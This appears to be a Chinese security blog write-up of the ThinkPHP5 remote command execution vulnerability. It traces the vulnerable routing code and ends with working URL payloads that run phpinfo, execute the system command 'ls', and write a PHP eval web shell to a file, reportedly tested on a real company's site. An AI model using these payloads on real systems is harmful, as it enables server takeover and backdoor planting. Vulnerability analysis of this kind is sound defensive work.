ThinkPHP简介
ThinkPHP是一个基于MVC和面向对象的轻量级PHP开发框架,遵循Apache2开源协议发布。从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,注重开发体验和易用性,为web应用开发提供了强有力的支持。
漏洞简介
1.漏洞名称
ThinkPHP5远程命令执行
2.流动描述
由于ThinkPHP5框架对控制器名没有进行足够的安全检测,导致在没有开启强制路由的情况下,攻击者构造指定的请求,可以直接getshell。
3.影响范围
- ThinkPHP 5.0系列 <5.0.23
- ThinkPHP 5.1系列< 5.1.31
- 基于ThinkPHP5二次开发的CMS:如AdminLTE后台管理系统、Thinkcmf、ThinkSNS等。
漏洞产生原因
1.概述
该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞。
2.代码审计
thinkphp5.1\public\index.php,17行,请求start.php
thinkphp5.1\thinkphp\start.php,21行,run()函数
thinkphp5.1\thinkphp\library\think\App.php,280行,run()函数,进行URL路由检测
thinkphp5.1\thinkphp\library\think\App.php,371行,path()函数
thinkphp5.1\thinkphp\library\think\Request.php,
path()函数:获取当前请求URL的pathinfo信息(不含URL后缀)并返回
pathinfo()函数:获取当前请求URL的pathinfo信息(含URL后缀)并返回
从配置文件中获取var_pathinfo的值
配置文件thinkphp5.1\config\app.php中var_pathinfo的值为s;
注意这里的$_GET[$this->config->get('var_pathinfo')],当请求报文包含 $_GET['s'],就取其值作为pathinfo,并返回pathinfo给调用函数,来传递路由信息。而$_GET['s']是用户可控的。
上面将用户可控的pathinfo返回给调用函数path(),再跟进函数path()
将pathinfo传递给$this->path之后返回给调用函数routeCheck()
再跟进routeCheck()函数,得到返回值并赋值给$path,再调用check($path, $depr, $must)函数,
跟进check($path, $depr, $must)函数,$path作为参数之一
thinkphp5.1\thinkphp\library\think\Route.php,744行,
check($path, $depr, $must)函数:检测URL路由,传递进来的参数$url是可控的
跟踪可控变量$url:
首先经过str_replace函数:将url中的/替换为|;
调用check函数,url作为参数之一
又调用check函数,检查路由;
之后创建UrlDispatch实例,$url作为参数之一传递给UrlDispatch的构造函数
跟进UrlDispatch的构造函数,thinkphp5.1\thinkphp\library\think\route\Dispatch.php,29行,将值传递给this->action,之后调用抽象run()函数
将$this->action的值传递给$result,
获取控制器名
获取操作名
实例化控制器
跟进实例化函数,thinkphp5.1beta\thinkphp\library\think\App.php,461行,查看实例化过程
可以看到,如果name中包含\,就将name的值赋值给class,之后返回,以此这里控制器的实例化是用户可控的,
之后便是执行实例化后的函数,然后返回给浏览器。
漏洞实例复现
为了保密,这里将url打上码
直接构造payload获取PHPinfo:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
任意文件读取payload:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
任意文件写入,写入一句话payload:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=./tmp/uploads/config.php&vars[1][]=<?php @eval($_POST[cmd])?>
然后菜刀连上去,这里就不展示了
之后在下已经联系了该企业,让其进行修改
PS:禁止使用本博客技术用于商业或违法行为,本博主概不负责
最终解释权属于X1u_q1n9